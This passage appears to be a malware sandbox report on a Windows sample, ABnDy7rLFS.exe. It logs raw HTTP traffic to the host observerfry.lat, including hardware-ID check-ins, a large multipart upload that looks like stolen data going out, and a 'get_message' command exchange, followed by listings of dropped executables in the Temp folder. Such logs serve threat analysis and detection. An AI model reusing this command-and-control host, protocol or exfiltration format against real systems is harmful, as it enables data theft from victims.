2024-12-23 06:52:23 UTC	5224	OUT	Data Raw: 6e 49 6e c9 56 ca e5 5a 2b a1 3f 3a 9e b9 75 bf a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 fa a3 60 6e dd 4f 03 Data Ascii: nInVZ+?:us}Q0u?4E([:s~X`nO
2024-12-23 06:52:24 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vblt7earq2qgibnvch6j2c1028; expires=Fri, 18 Apr 2025 00:39:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FyHbQVgCnX%2BXu4rEZQcsdUpETQ%2FNNX3ly%2B%2F4jYAGxHRgtlQaGHz0Xwm3bhfxY6va8YB4%2BmBkX4Fl7tm0B6QRVigkCsTDXzLpl7gSz4VhT58z8dy8uWFYsMz%2BqtD5uVVylgE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666dba8ce8434b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1562&rtt_var=605&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21512&delivery_rate=1781574&cwnd=243&unsent_bytes=0&cid=f66f9d8e45583b94&ts=962&x=0"
2024-12-23 06:52:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:52:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49712	104.21.36.201	443	4608	C:\Users\user\Desktop\ABnDy7rLFS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:26 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4MDXT93FX8TOJW5TB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1211 Host: observerfry.lat
2024-12-23 06:52:26 UTC	1211	OUT	Data Raw: 2d 2d 34 4d 44 58 54 39 33 46 58 38 54 4f 4a 57 35 54 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 43 36 39 35 42 41 35 34 45 45 33 33 33 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 4d 44 58 54 39 33 46 58 38 54 4f 4a 57 35 54 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 4d 44 58 54 39 33 46 58 38 54 4f 4a 57 35 54 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --4MDXT93FX8TOJW5TBContent-Disposition: form-data; name="hwid"97C695BA54EE3336AC8923850305D13E--4MDXT93FX8TOJW5TBContent-Disposition: form-data; name="pid"1--4MDXT93FX8TOJW5TBContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-23 06:52:30 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8l5icdfshondtip8ubbaes2i90; expires=Fri, 18 Apr 2025 00:39:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A%2Fiz0uMS%2F4ifyDb8nfPKE7DnwKuJge%2BU%2BOOaOehN4o4WmzWEXNU9CAlNMDmkTLh9tNJcY1i3qi30SittBaUqJTUj6c59XxCy3NBfcMxke6n73EfgYHFi3sNAsgMzPNIQAYg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666dca5ca643b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2306&min_rtt=2305&rtt_var=868&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2126&delivery_rate=1258620&cwnd=192&unsent_bytes=0&cid=f7a1a639b9418bad&ts=3819&x=0"
2024-12-23 06:52:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:52:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49714	104.21.36.201	443	4608	C:\Users\user\Desktop\ABnDy7rLFS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:31 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PPU8R22IBPT4YZVPN6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587589 Host: observerfry.lat
2024-12-23 06:52:31 UTC	15331	OUT	Data Raw: 2d 2d 50 50 55 38 52 32 32 49 42 50 54 34 59 5a 56 50 4e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 43 36 39 35 42 41 35 34 45 45 33 33 33 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 50 55 38 52 32 32 49 42 50 54 34 59 5a 56 50 4e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 50 55 38 52 32 32 49 42 50 54 34 59 5a 56 50 4e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --PPU8R22IBPT4YZVPN6Content-Disposition: form-data; name="hwid"97C695BA54EE3336AC8923850305D13E--PPU8R22IBPT4YZVPN6Content-Disposition: form-data; name="pid"1--PPU8R22IBPT4YZVPN6Content-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-23 06:52:31 UTC	15331	OUT	Data Raw: e4 b2 0e 58 b7 4c ff 0a f5 4d 2a eb 16 49 6f d2 a6 69 6a 42 63 3b f2 dd d1 62 0b 57 cc da 9f 52 43 2e 07 ca 1a bc 68 3a 1d 20 38 95 0e 23 36 b5 bf 3e 85 ed c7 ab 5a 61 75 04 4f 20 e5 2c 44 e7 84 66 65 28 60 78 b2 2b e4 5b 62 70 98 f3 b7 ee 64 ed 99 c8 e0 68 51 70 ff 77 59 4d b3 99 bd 1f 0c 41 e5 ad e1 17 f6 96 2a b1 26 57 4f 94 15 da 94 b6 9e b7 79 ff 9c 53 31 aa 40 b3 90 00 24 38 32 e1 74 72 99 a5 eb 9c d5 d4 70 10 a2 0b 5b fd ef fe 92 ff 3d f4 62 61 64 38 86 a2 00 28 3c 88 3b 75 9c 5f f1 02 d6 88 0e f9 79 35 0b 4e 2c c4 d6 b6 3c 29 47 73 9a 39 a5 ec 46 28 5e ab 29 9a ea f9 2d 59 98 5e 24 dc 3b e9 d6 37 0b d1 e4 72 6b d3 2d 45 7f b6 dc 14 2d 84 b0 7e a4 ee 16 aa 27 8f f5 70 84 aa 1b e5 dd 7b fe 4a a4 3a 26 5d 98 4a 1b 63 bc 13 15 d8 f2 13 a1 fa 8b 99 66 Data Ascii: XLMIoijBc;bWRC.h: 8#6>ZauO ,Dfe(`x+[bpdhQpwYMA&WOyS1@$82trp[=bad8(<;u_y5N,<)Gs9F(^)-Y^$;7rk-E-~'p{J:&]Jcf
2024-12-23 06:52:31 UTC	15331	OUT	Data Raw: 08 82 36 e4 a2 44 2b d1 82 35 44 0a 2c 8a 89 20 9e 05 60 7f f4 5b 4b 15 91 ad ef 5a b0 3f eb 16 17 8e 51 82 da 8f 01 a5 03 30 62 4f 93 5f 05 8b d2 ed 76 19 2f 0a 80 6e a3 fa 8f a6 11 0f 93 8b 32 91 2a 22 d0 62 81 5c 06 56 4c 01 11 f9 6b 31 a7 f9 b7 01 d4 ab 66 f7 ec 3e f1 43 bd 56 49 be 21 6b fb e3 e2 c4 c4 b7 e3 fc 8b 1c 05 d6 3a d5 3d c2 9d 35 1e 29 03 64 a7 77 a0 59 88 0d ed 8c 3d 5b 4e 4e d2 0f c0 fc 94 79 2e 6b 17 fe 1d ba 29 19 65 83 30 04 62 bd 1f 77 73 3f 4a c7 44 e1 41 55 21 b0 70 a9 57 25 8b fa ad 0f b4 17 c5 86 e2 85 de b9 74 77 f2 7c f0 d2 2b df 6b bd af 23 36 7d e3 b2 26 06 6c c9 d4 e7 e7 5d de af 80 fc c3 c0 e1 cb 83 86 17 b8 62 ed 1d b0 ca de 71 2f ad 7e 9e 79 64 9b a4 73 bd 36 55 c5 c2 0d fc 88 e2 47 47 a1 7c ca 9f 5a 2d 09 1b 90 c9 da 75 Data Ascii: 6D+5D, `[KZ?Q0bO_v/n2*"b\VLk1f>CVI!k:=5)dwY=[NNy.k)e0bws?JDAU!pW%tw\|+k#6}&l]bq/~yds6UGG\|Z-u
2024-12-23 06:52:31 UTC	15331	OUT	Data Raw: 0c 21 89 d7 61 54 a2 da 26 f3 74 82 73 95 39 c2 75 a1 0f de 78 d1 4f eb ea e4 c6 b8 fa d2 17 95 76 3d bc d1 28 25 1a e1 b8 ae 18 5b 18 77 d0 0c 7d 6b 0a 31 26 ee 6a d7 cf c8 88 c1 d5 68 1b 84 b0 71 b2 d1 4f dd 12 0f 21 5f 3a 47 5e 15 a2 83 97 9e eb 23 b3 6e 3d 87 73 58 48 3b 8d a7 81 24 5e a0 27 77 2a bb 59 f2 11 0b 98 91 be 1e e9 61 5b e4 b5 26 49 5a 60 95 7d 9a f5 d9 54 9e 1d ec 58 48 fd 27 53 ed ce 21 08 c3 83 e4 43 a7 19 6b 0f 64 0b ed ce 0f b8 27 04 f4 3a 82 48 da d2 56 fd c1 31 d5 52 49 a0 a5 0a 07 5d eb 23 f9 1b 7b 5b 6a 7f 5f 31 5a 49 24 2f cd 43 3c f7 00 9d d1 9f 7e d0 98 ee c5 07 db 6a ab 9e 9d 1a 69 95 31 df df bd f4 83 b3 22 db 7a a2 4a f1 c2 81 de 46 b4 33 30 33 f1 28 43 8d e6 37 8b 06 47 b7 d2 46 e6 9e 08 d9 cc 86 ab 8a 21 c8 91 cc f0 f0 b1 Data Ascii: !aT&ts9uxOv=(%[w}k1&jhqO!_:G^#n=sXH;$^'w*Ya[&IZ`}TXH'S!Ckd':HV1RI]#{[j_1ZI$/C<~ji1"zJF303(C7GF!
2024-12-23 06:52:31 UTC	15331	OUT	Data Raw: 59 61 b1 6e f4 89 e9 d5 a3 0b 57 a7 29 7a 10 42 74 b2 ca 56 80 e5 e2 4d 07 83 e7 b4 26 54 3d 62 cd 3c 38 ef 5f 13 5e 89 03 50 ce 08 b4 e1 3a aa b5 26 89 41 73 2b b5 02 c4 6f 9a 18 1a 32 68 29 93 ac 2a 56 7d e7 b8 8b ed 01 c5 64 0b 99 60 c7 9c 50 59 6d 7d a1 f7 35 78 27 91 c3 39 a9 c7 e3 96 ef ed 44 d6 9c 9d 17 cd 3f 77 90 71 51 a3 96 27 2e d6 19 9f c4 11 79 ba 95 a5 4e b2 f5 3a 63 a2 c7 79 3f 25 44 ca d5 31 11 d6 c4 87 19 e8 fa 4f cd 1b b8 90 25 fe 2d 55 89 10 09 d6 86 3a 31 c6 dc aa 74 f8 3f 5d ec 92 74 51 e5 6d 93 1c 9b 04 6e 2a 06 9d 89 04 29 1e c0 17 a0 b6 51 78 35 b9 cb 38 71 e8 1b 20 2d 83 62 07 89 46 db aa ff 56 ba 78 63 01 d5 d3 92 bc c7 ce e4 06 20 61 1a 64 8a a9 8e dc 66 81 ec 12 37 c3 86 fe 80 15 dc 47 16 37 ed f4 70 fd 3b 5a 08 4e 35 45 40 55 Data Ascii: YanW)zBtVM&T=b<8_^P:&As+o2h)V}d`PYm}5x'9D?wqQ'.yN:cy?%D1O%-U:1t?]tQmn)Qx58q -bFVxc adf7G7p;ZN5E@U
2024-12-23 06:52:31 UTC	15331	OUT	Data Raw: 78 2c f0 a2 df fd b4 32 84 b6 80 fc 0b 43 d7 be 88 99 90 e1 f1 82 05 84 e9 7e 7d 9e 75 37 e7 3e 9c e7 2b 7a ff e1 d1 4e 81 d3 cf d2 8a 21 ad 19 b7 74 1e ab 6d 17 ae 9f 4f 90 49 0d 51 d5 1b 67 9a d9 89 4b 33 9e 07 86 45 f3 71 ff 56 f4 01 7a 91 21 d2 3b 82 f2 d3 68 49 e9 d5 92 a3 de b7 3e e7 8f 44 c0 8a 54 03 53 35 50 97 15 08 f0 97 04 7a 7d 23 bc a4 fd 74 e0 b8 7e 0a cd a8 bb d8 68 0f aa ab 72 ee 95 34 a8 c5 b3 1e f0 22 62 ab f5 bf 87 99 63 ff 1c 4c e0 95 cc 8a d3 41 ca 0f a0 59 6f c0 fa 21 cd cb d5 d7 01 33 0c 8d 00 2b 87 dc fc 9f 01 d6 fa 64 2e a3 ed 8c 0e 57 15 33 74 7d 6c b1 6b 2d a4 ef b0 92 c5 2e 90 a8 ce 77 79 94 13 0c d6 09 24 5e 96 80 49 12 2b 93 82 62 d2 36 cf dd ae 56 ef dc 5f e5 79 ea 28 df 10 e3 43 dc 73 f8 4c d9 74 c5 83 36 18 49 bf 4b d2 d5 Data Ascii: x,2C~}u7>+zN!tmOIQgK3EqVz!;hI>DTS5Pz}#t~hr4"bcLAYo!3+d.W3t}lk-.wy$^I+b6V_y(CsLt6IK
2024-12-23 06:52:31 UTC	15331	OUT	Data Raw: 8b 66 80 a5 13 9f fd f0 52 b6 8d a8 ba 63 b1 da bd 3f 8f cd 5e 45 29 de 53 bd c7 0a c5 bc c6 cc d0 88 65 b3 95 1b af 82 66 2b 74 ca c6 74 56 8e d2 d6 96 72 5f 3b 6e ce 5b 37 6b 50 96 a5 b6 21 d8 b5 18 e0 97 61 b7 a2 44 20 0b a1 07 1c 02 8b 91 f0 6d 7d 10 70 63 91 03 09 83 db 77 40 5e 43 5b dd d5 84 4b 11 05 7e a3 8e 78 40 99 fd 90 19 76 1e f7 fa 01 1f 2f a0 82 ff ca 22 cf ff 2b 02 46 33 b3 77 5c b3 e4 64 7f f0 9f c1 7e 38 b8 fb 89 2e 4a 02 8b 40 3c da 7f b3 de 50 a3 7b 6c d9 8b 6f 96 34 23 e7 ff ea c2 0e ce d8 e8 23 8f f7 f3 10 39 eb 0e 53 19 4c 9d b5 12 06 cb 82 d8 b3 e2 40 0d 19 ca 8b 9c 89 5b ed 12 bc 68 b6 9b c0 53 1c 2f b5 e7 9f 1c 3d 43 68 fa 0f f6 91 85 da 65 60 59 c8 b3 04 e8 63 60 65 0c 81 97 e2 05 10 7f c7 5f 67 0b 5a 0e d3 fc f8 98 e6 69 7f 5e Data Ascii: fRc?^E)Sef+ttVr_;n[7kP!aD m}pcw@^C[K~x@v/"+F3w\d~8.J@<P{lo4##9SL@[hS/=Che`Yc`e_gZi^
2024-12-23 06:52:31 UTC	15331	OUT	Data Raw: a1 f3 c0 14 54 7b 5b d7 7b c7 8f 69 0d ea ca 5f bf 10 d0 0a 58 85 4a 23 5d 8e 8c 38 ea 9e d4 40 ad ca 54 e4 c3 d9 61 d3 0c 6d 5a ae fb 71 23 37 ed b4 df 66 f3 ee 19 dc 89 c6 7c 25 6a 28 ed 48 6a 69 8b 52 49 d1 b6 de ae 8f 6b 0d f1 c1 87 18 bd 8c ef 93 16 95 3d c1 fd b3 77 18 86 68 d5 b9 ef 43 9c 23 22 f2 bd 94 07 1b 7a 33 c9 a9 3e 9a bb 68 3b 53 1f 2c 10 ef ac 10 fd af 3a 78 5b 0a ff 30 0a b4 59 2b 60 16 18 53 ef fa 18 4d 9e 58 a9 7c 8e d8 66 b4 86 f9 46 c9 e5 c5 88 e9 56 a5 25 3e 30 c8 d1 47 3e 2a d0 af 1e f3 21 8f 16 ec 96 64 cd 0a 2e 08 8c 7f 67 3c c8 bd 8c 48 e7 bb b7 ea bd 9b 4d 87 2e cd 2d 1c 59 6b 37 a0 2d a9 61 ea 8d ce d1 bf 85 33 34 fe d0 5f 45 e9 3c e3 76 fc 5e 98 f3 5f 72 da 28 17 08 ba e1 14 be e1 1d c3 78 c8 80 5c ef a7 76 59 41 07 37 a5 56 Data Ascii: T{[{i_XJ#]8@TamZq#7f\|%j(HjiRIk=whC#"z3>h;S,:x[0Y+`SMX\|fFV%>0G>*!d.g<HM.-Yk7-a34_E<v^_r(x\vYA7V
2024-12-23 06:52:31 UTC	15331	OUT	Data Raw: 2e 67 21 46 93 de a7 37 46 b9 7a 72 01 88 68 45 d5 1a c5 ae 3d a0 e4 be 6b de f5 cb 20 70 12 34 1a 33 ea 34 93 e5 69 55 68 78 7a 14 bc 5a de 82 0d dc 0d 5d c1 00 41 48 4a e0 d5 65 d4 9a 2e 12 28 53 35 e6 06 1f a9 73 54 59 23 21 a8 b0 e3 07 5d d7 de 26 a3 61 ee d3 cd b9 e2 cd 7e 95 dc 71 5c d7 53 5a 34 0d dc 3a f5 b8 ca d6 19 9e 56 a9 4f 1d cb 89 51 ee 16 f7 ec 51 13 43 22 99 9d e5 9a ca ae a7 17 7c ce 5d 6a 26 c8 53 df aa da 99 3f 6f e3 1d b4 4c 69 7f a3 43 37 40 b2 5c 5c 05 22 7b 35 47 a1 7d a2 f9 27 5c d3 73 70 66 fb 5a bf e8 f8 21 2a da db f1 c2 7e 1b fb 71 ad 58 ad 31 de 15 e3 de 66 da 76 44 fe 21 82 dc dc f6 a9 11 61 52 95 e8 ea c6 8c 9f 2d e6 83 b0 9d 98 55 db 5a c3 89 3a e2 8c 39 2a 4a 0d 93 89 30 0b 00 a2 38 f5 53 24 ec 7b 02 df 1b ce 95 69 f3 16 Data Ascii: .g!F7FzrhE=k p434iUhxzZ]AHJe.(S5sTY#!]&a~q\SZ4:VOQQC"\|]j&S?oLiC7@\\"{5G}'\spfZ!~qX1fvD!aR-UZ:9J08S${i
2024-12-23 06:52:31 UTC	15331	OUT	Data Raw: f6 1b 95 ba 34 0f 4e f5 a3 53 23 ad cb 6f 32 e6 5e 24 a7 2f fc 9c b9 92 f3 f3 af 66 b0 6e cd 57 97 a5 42 b3 59 5d d6 92 cc 0b 39 ea 64 77 cd b2 93 64 c1 db a9 88 f5 a3 1b 79 b5 ec ab cc d5 68 01 96 68 4e 5d 61 e5 42 67 c4 ec 77 fd a5 1f 0f ca af c7 84 76 1e 0f 6d f3 62 9d 7a bf fc d8 a3 5a ce 35 62 c7 9b c0 77 51 b7 73 8c 15 7b 7c 8f ff 35 b5 ce f8 1e 8e 1f 78 98 16 fd 2d c9 42 24 e8 98 48 f9 7a d4 ce aa 42 df 07 55 a6 5f 7f 99 0d 09 52 d5 bb d3 3d 63 22 67 2a 47 81 73 60 bf bb f6 e1 7c 72 52 0f 05 2b 5a 77 ce e1 84 44 64 68 3c 57 e2 37 34 fc 58 a5 ba 97 80 33 99 6a ad 0d 9e bd 7b 4c cb e1 86 c4 cd 5d d8 e0 71 78 e8 e8 fb d9 de c1 b5 91 12 4d e3 d1 76 2f 70 6d 26 e5 1b b3 88 02 4c 27 12 91 b0 bf 79 00 fb a8 00 86 00 94 06 fe 44 4f 0a 5c a8 52 c9 5f 0d 52 Data Ascii: 4NS#o2^$/fnWBY]9dwdyhhN]aBgwvmbzZ5bwQs{\|5x-B$HzBU_R=c"g*Gs`\|rR+ZwDdh<W74X3j{L]qxMv/pm&L'yDO\R_R
2024-12-23 06:52:34 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kjhfcpta4nn7jouqsfuii2bnq5; expires=Fri, 18 Apr 2025 00:39:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HJjZ2Qomj65EXcTtN%2BnVL7L4kOm6VktXSYKu9k44Ybo7KKgDpbsMvyrZAJcOUZRcMhfDTNf%2FgTLqWnEBSEoJxWbWbt3qrvOWtGoXtlc63Q9pQTDbUPDzg1M0q5iuuY3f3WM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666dec9efc422f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1732&min_rtt=1726&rtt_var=660&sent=209&recv=611&lost=0&retrans=0&sent_bytes=2836&recv_bytes=590179&delivery_rate=1643218&cwnd=137&unsent_bytes=0&cid=5ac0cc03cea4c9f1&ts=2533&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49715	104.21.36.201	443	4608	C:\Users\user\Desktop\ABnDy7rLFS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:35 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: observerfry.lat
2024-12-23 06:52:35 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 39 37 43 36 39 35 42 41 35 34 45 45 33 33 33 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=97C695BA54EE3336AC8923850305D13E
2024-12-23 06:52:36 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fm3brt81aamkh65g19ce00eafh; expires=Fri, 18 Apr 2025 00:39:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6DinlXCfhJRqVSR5m7C77u9AcBSddHOp1z4A4CkyKZeYKpxDz3limhevA%2FkQwlqrERBqQDoqvUEAd1bFqQUlWT8XjGTmXb3s4vOuhWrlvzDWo8adIe%2Fen15L281uGidXnb4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666e04df1b42c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&min_rtt=1684&rtt_var=658&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=981&delivery_rate=1631284&cwnd=211&unsent_bytes=0&cid=10470b5e45a5e624&ts=788&x=0"
2024-12-23 06:52:36 UTC	214	IN	Data Raw: 64 30 0d 0a 64 58 4b 36 65 48 56 49 47 67 71 35 72 32 6a 71 38 70 4d 2f 73 74 2f 77 61 67 45 65 55 6a 57 38 74 73 6f 61 50 63 36 75 41 53 34 75 43 5a 67 4e 56 33 49 34 59 73 33 62 47 4e 43 75 76 47 4f 64 37 73 68 66 4c 79 78 6a 41 4a 4b 48 2b 79 6b 54 2f 35 68 64 41 52 6f 55 33 43 52 61 4c 48 39 73 6c 38 6f 51 6a 39 43 2f 48 64 53 72 30 6c 41 78 4d 6e 42 51 6e 6f 7a 36 5a 78 47 31 6a 48 51 4d 54 31 44 53 44 41 45 34 49 46 61 57 38 30 66 62 79 71 59 52 67 4f 37 46 52 44 41 76 59 52 75 4e 67 4a 59 31 54 72 72 4c 59 45 4d 70 58 63 67 5a 47 79 78 31 5a 35 66 4b 45 49 2f 51 76 78 33 55 71 39 4a 51 4d 54 4a 77 55 4a 36 4d 2b 6d 64 67 0d 0a Data Ascii: d0dXK6eHVIGgq5r2jq8pM/st/wagEeUjW8tsoaPc6uAS4uCZgNV3I4Ys3bGNCuvGOd7shfLyxjAJKH+ykT/5hdARoU3CRaLH9sl8oQj9C/HdSr0lAxMnBQnoz6ZxG1jHQMT1DSDAE4IFaW80fbyqYRgO7FRDAvYRuNgJY1TrrLYEMpXcgZGyx1Z5fKEI/Qvx3Uq9JQMTJwUJ6M+mdg
2024-12-23 06:52:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	01:52:11
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\ABnDy7rLFS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ABnDy7rLFS.exe"
Imagebase:	0x3f0000
File size:	1'858'560 bytes
MD5 hash:	1A464FFCCB48C9EB4725DFF74971CA2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:52:42
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe"
Imagebase:	0x90000
File size:	2'845'696 bytes
MD5 hash:	97B29CE33CCFE8A2B642BD236A0DD337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:52:47
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe"
Imagebase:	0xad0000
File size:	2'907'648 bytes
MD5 hash:	880F67C30D6C2335273B27DF0004F500
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
